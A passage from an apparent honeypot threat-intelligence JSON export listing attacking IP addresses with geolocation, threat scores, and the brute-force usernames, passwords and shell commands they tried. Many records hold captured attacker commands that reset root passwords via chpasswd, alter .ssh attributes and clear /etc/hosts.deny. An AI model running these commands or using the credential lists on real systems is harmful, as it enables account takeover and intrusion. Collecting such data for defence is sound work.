        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "91.196.152.184": {
      "attack_count": 2,
      "first_seen": "2026-04-04T12:48:38.236Z",
      "last_seen": "2026-04-04T12:48:48.557Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 86.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 143,
        "days_active_30d": 30,
        "ports_targeted_30d": 47,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T07:38:34.839000+00:00",
        "last_seen_30d": "2026-04-30T18:50:16.459000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 106,
        "Honeytrap": 34,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "91.231.89.209": {
      "attack_count": 2,
      "first_seen": "2026-04-18T12:47:03.312Z",
      "last_seen": "2026-04-18T12:47:03.315Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 83.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.4,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 88,
        "days_active_30d": 29,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T00:08:11+00:00",
        "last_seen_30d": "2026-04-30T21:09:02.643000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 52,
        "Honeytrap": 33,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "94.26.106.246": {
      "attack_count": 2,
      "first_seen": "2026-04-19T19:40:42.437Z",
      "last_seen": "2026-04-19T19:40:42.731Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Kriftel",
      "asn": 215607,
      "as_org": "dataforest GmbH",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T01:24:09.157000+00:00",
        "last_seen_30d": "2026-04-19T19:41:52.040000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "103.143.11.150": {
      "attack_count": 609,
      "first_seen": "2026-04-13T21:13:18.495Z",
      "last_seen": "2026-04-27T06:13:32.771Z",
      "sessions": 82,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "test",
        "ubuntu",
        "ftpuser",
        "oracle",
        "admin",
        "ali",
        "bot",
        "cassandra",
        "claude",
        "docker",
        "git",
        "gitlab",
        "josh",
        "linkdood",
        "nandan",
        "rocketmq",
        "root1",
        "salma"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "!@#$%12345",
        "!@#qweASDzxc",
        "0p3nv1x-01!",
        "1029384756",
        "123",
        "12345678",
        "123qweASDF321",
        "1qaz2wsx#EDC",
        "2024@lekLAeLK",
        "@thl0n",
        "A123456123",
        "Asdfgh123",
        "BBaa112233",
        "Bot28!",
        "Claude13!",
        "Ctyun@12345",
        "Dell"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Welcome@123\\nNtfc4EIG4V05\\nNtfc4EIG4V05\\n\"|passwd",
        "echo \"root:XnJdpliriiyP\"|chpasswd|bash",
        "echo \"root:rxKNQjqc8pSe\"|chpasswd|bash",
        "echo -e \"Welcome@123\\nNtfc4EIG4V05\\nNtfc4EIG4V05\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 138152,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 48.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.0,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 792,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T21:13:18.495000+00:00",
        "last_seen_30d": "2026-04-27T06:14:33.001000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 609,
        "Suricata": 183
      }
    },
    "103.148.100.146": {
      "attack_count": 524,
      "first_seen": "2026-04-11T06:08:23.156Z",
      "last_seen": "2026-04-13T06:28:59.855Z",
      "sessions": 58,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "user",
        "test",
        "postgres",
        "steam",
        "admin",
        "administrator",
        "ali",
        "cloudftp",
        "dashboard",
        "dbg",
        "deployer",
        "git",
        "n8n",
        "proradis",
        "saad",
        "zhangsan"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "admin",
        "!@QW34er",
        "01020264",
        "123321",
        "12345.qwe",
        "123456-qwerty",
        "123456ly",
        "123qwe!@#QWE",
        "132132",
        "1q2w3e4r%",
        "Aa123456",
        "P@55W0rd",
        "P@ssw0rd!@#",
        "Passw0rd2026",
        "Postgres!@",
        "Qazwsx666@123",
        "Qazwsx999!@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Passw0rd2026\\nDqTKNgPrP8by\\nDqTKNgPrP8by\\n\"|passwd",
        "echo \"root:P2ncUly0J5me\"|chpasswd|bash",
        "echo \"root:pQNjRk4tnbfq\"|chpasswd|bash",
        "echo \"user30\\nVypkv4oHslYs\\nVypkv4oHslYs\\n\"|passwd",
        "echo -e \"Passw0rd2026\\nDqTKNgPrP8by\\nDqTKNgPrP8by\"|passwd|bash",
        "echo -e \"user30\\nVypkv4oHslYs\\nVypkv4oHslYs\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 139988,
      "as_org": "PT. GARUDA PRIMA INTERNETINDO",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.2,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 658,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T06:08:23.156000+00:00",
        "last_seen_30d": "2026-04-13T06:30:03.948000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 524,
        "Suricata": 134
      }
    },
    "27.79.46.123": {
      "attack_count": 444,
      "first_seen": "2026-04-30T13:46:36.380Z",
      "last_seen": "2026-04-30T14:25:41.032Z",
      "sessions": 88,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "cisco",
        "support",
        "user",
        "ace",
        "ashish",
        "auto",
        "bin",
        "brenda",
        "btf",
        "cf1c22",
        "client",
        "dubai",
        "ftp",
        "ftp_zsd",
        "ftpuser",
        "george",
        "geral",
        "guest"
      ],
      "passwords_attempted": [
        "admin",
        "0l0ctyQh243O63uD",
        "1234",
        "12345",
        "admin123",
        "password",
        "111111",
        "112233",
        "123",
        "123456",
        "12345678",
        "1234567890%*()",
        "321start",
        "?",
        "@",
        "Deadstar!",
        "abc123",
        "abcd1234",
        "abcdefg",
        "ace"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 42.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 628,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T13:46:36.380000+00:00",
        "last_seen_30d": "2026-04-30T14:26:44.277000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 444,
        "Suricata": 184
      }
    },
    "38.12.30.135": {
      "attack_count": 414,
      "first_seen": "2026-04-25T14:30:01.254Z",
      "last_seen": "2026-04-29T01:08:21.347Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "test",
        "345gs5662d34",
        "ftpuser",
        "test1",
        "admin",
        "admin4",
        "ansible",
        "csgo",
        "frappe",
        "ftpadmin",
        "git",
        "gituser",
        "librenms",
        "maarch",
        "oracle",
        "pepe",
        "postgres",
        "rftest"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "test",
        "welcome",
        "010203",
        "1",
        "123123",
        "12345",
        "123456789",
        "123456mm",
        "1234qwer",
        "123abc!@#",
        "123qwe!!",
        "1q2w3e4r5t6y7u8i9o0p",
        "1qaz2wsx3edc4rfv",
        "20251",
        "Aa112211.",
        "Admin2026!",
        "Frappe17"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123qwe!!\\nCD79XNI3viAU\\nCD79XNI3viAU\\n\"|passwd",
        "echo \"root:mAm20E2DZO5m\"|chpasswd|bash",
        "echo -e \"123qwe!!\\nCD79XNI3viAU\\nCD79XNI3viAU\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 402169,
      "as_org": "USCLOUD INC - Uscloud Inc",
      "threat_score": 42.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.4,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 545,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T14:30:01.254000+00:00",
        "last_seen_30d": "2026-04-29T01:09:23.216000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 414,
        "Suricata": 131
      }
    },
    "45.61.187.220": {
      "attack_count": 332,
      "first_seen": "2026-04-06T23:05:29.933Z",
      "last_seen": "2026-04-06T23:38:32.830Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "eversec",
        "ftpuser1",
        "postgres",
        "test",
        "testuser",
        "ubuntu",
        "admin",
        "dci",
        "ftpuser",
        "gits",
        "jerry",
        "long",
        "server",
        "user",
        "user2"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1111",
        "1010",
        "111222",
        "123123",
        "12344321",
        "123456",
        "KcP1e@%B#zRp3X8",
        "P@ssword",
        "Passw0rd!@#",
        "Postgres12!",
        "QWERTYUIO",
        "Yk123456",
        "a12345678",
        "aa12345678",
        "dci",
        "jerry123",
        "long",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1111\\nIFbz7bgeRWlj\\nIFbz7bgeRWlj\\n\"|passwd",
        "echo \"KcP1e@%B#zRp3X8\\njTxbhx7OYWIJ\\njTxbhx7OYWIJ\\n\"|passwd",
        "echo \"password\\nTp51CJ0ngi3L\\nTp51CJ0ngi3L\\n\"|passwd",
        "echo -e \"1111\\nIFbz7bgeRWlj\\nIFbz7bgeRWlj\"|passwd|bash",
        "echo -e \"KcP1e@%B#zRp3X8\\njTxbhx7OYWIJ\\njTxbhx7OYWIJ\"|passwd|bash",
        "echo -e \"password\\nTp51CJ0ngi3L\\nTp51CJ0ngi3L\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 53667,
      "as_org": "FranTech Solutions",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 401,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T23:05:29.933000+00:00",
        "last_seen_30d": "2026-04-06T23:39:36.257000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 332,
        "Suricata": 69
      }
    },
    "165.154.23.29": {
      "attack_count": 329,
      "first_seen": "2026-04-05T17:32:42.671Z",
      "last_seen": "2026-04-05T18:27:57.326Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "developer",
        "ftpuser",
        "ivan",
        "jim",
        "loguser",
        "milan",
        "server",
        "test",
        "testuser",
        "vivi"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1029384756",
        "123456",
        "12345678",
        "2026.com",
        "Ab147258",
        "Abcd1234567@#",
        "Login@123",
        "Password@2022",
        "QQzz1234",
        "Qaz123wsx",
        "Qazwsx111@",
        "TestUser",
        "aaDD000",
        "bbZZ112233",
        "dev",
        "diamond",
        "ftppasswd",
        "jim"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:6dT09GvAsQyk\"|chpasswd|bash",
        "echo \"root:B86VGJmsgygh\"|chpasswd|bash",
        "echo \"root:QxeED7BRzPkB\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 400,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T17:32:42.671000+00:00",
        "last_seen_30d": "2026-04-05T18:28:59.906000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 329,
        "Suricata": 71
      }
    },
    "91.134.240.52": {
      "attack_count": 287,
      "first_seen": "2026-04-30T08:35:38.865Z",
      "last_seen": "2026-04-30T09:05:35.186Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "345gs5662d34",
        "amir",
        "esb",
        "ftp_user",
        "ftpuser",
        "lighthouse",
        "mine"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "000000",
        "123123Qwe",
        "123456",
        "12345678910",
        "123qweASD",
        "860905",
        "ADMIN",
        "Abc@2025",
        "Admin123",
        "Admin2024@",
        "Beyond@123",
        "Fy123456",
        "Ly123456",
        "QAZ!@#456",
        "Qk123456",
        "Root12345",
        "Tt@123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678910\\nH9l5drVtjhSn\\nH9l5drVtjhSn\\n\"|passwd",
        "echo \"root:PJyGpKMRMhGz\"|chpasswd|bash",
        "echo -e \"12345678910\\nH9l5drVtjhSn\\nH9l5drVtjhSn\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 38.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 361,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T08:35:38.865000+00:00",
        "last_seen_30d": "2026-04-30T09:06:38.964000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 287,
        "Suricata": 74
      }
    },
    "189.46.230.207": {
      "attack_count": 268,
      "first_seen": "2026-04-25T08:55:12.313Z",
      "last_seen": "2026-04-25T09:38:15.312Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "git",
        "345gs5662d34",
        "seekcy",
        "abhi",
        "ftptest",
        "info",
        "n8n",
        "server2",
        "sysadmin",
        "tony",
        "user",
        "user0"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@QW12qw",
        "0l0ctyQh243O63uD",
        "1234",
        "321",
        "Azerty2025",
        "Baidu123",
        "Joysuch@Locate2020",
        "N8n06",
        "P@ss2025",
        "Pambazuka08",
        "Password@1234",
        "Tc123456",
        "abhi",
        "admin@#123",
        "g1t",
        "infopassword",
        "password1",
        "qweasd123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Joysuch@Locate2020\\nr2brX6phCGA6\\nr2brX6phCGA6\\n\"|passwd",
        "echo \"password1\\nz64XDyDdRWKY\\nz64XDyDdRWKY\\n\"|passwd",
        "echo -e \"Joysuch@Locate2020\\nr2brX6phCGA6\\nr2brX6phCGA6\"|passwd|bash",
        "echo -e \"password1\\nz64XDyDdRWKY\\nz64XDyDdRWKY\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 27699,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 31.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 336,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T08:55:12.313000+00:00",
        "last_seen_30d": "2026-04-25T09:39:21.477000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 268,
        "Suricata": 68
      }
    },
    "34.67.115.220": {
      "attack_count": 262,
      "first_seen": "2026-04-08T05:19:18.810Z",
      "last_seen": "2026-04-08T06:11:41.311Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ali",
        "jeff",
        "FTPUser",
        "odoo",
        "sammy",
        "server",
        "steam",
        "steven",
        "user",
        "user1",
        "user5",
        "wwwuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "1234QWE",
        "123QWEasd",
        "1q2w#E",
        "Aa!@#123",
        "Ali01!",
        "P4$$w0rd$",
        "Qwe123456",
        "Sammy20!",
        "ZAQ!2wsx2026",
        "ali@2025",
        "ftpuser",
        "odoo!2026",
        "qa2ws3ed!@",
        "qazwsx1111111@@",
        "qazwsx2022@123",
        "qwe@2024"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nYX4toZDqEU6q\\nYX4toZDqEU6q\\n\"|passwd",
        "echo \"root:33XKbNgAdEPE\"|chpasswd|bash",
        "echo -e \"12345678\\nYX4toZDqEU6q\\nYX4toZDqEU6q\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Council Bluffs",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 329,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T05:19:18.810000+00:00",
        "last_seen_30d": "2026-04-08T06:12:44.576000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 67
      }
    },
    "20.2.83.149": {
      "attack_count": 253,
      "first_seen": "2026-04-14T04:07:52.841Z",
      "last_seen": "2026-04-14T05:37:32.944Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "ali",
        "dev",
        "postgres",
        "steam",
        "username"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "1234",
        "123asd!@#",
        "123qwe@@@",
        "3245gs5662d34",
        "A123456a",
        "AAaa123",
        "Aa10202640",
        "Abcd123456@123",
        "DDaa111",
        "Huawei@123",
        "QWERT1",
        "Qazwsx2024",
        "Root2026!",
        "^YHN7ujm",
        "asd12345",
        "asdf1234",
        "asdzxc123",
        "minecraft@123",
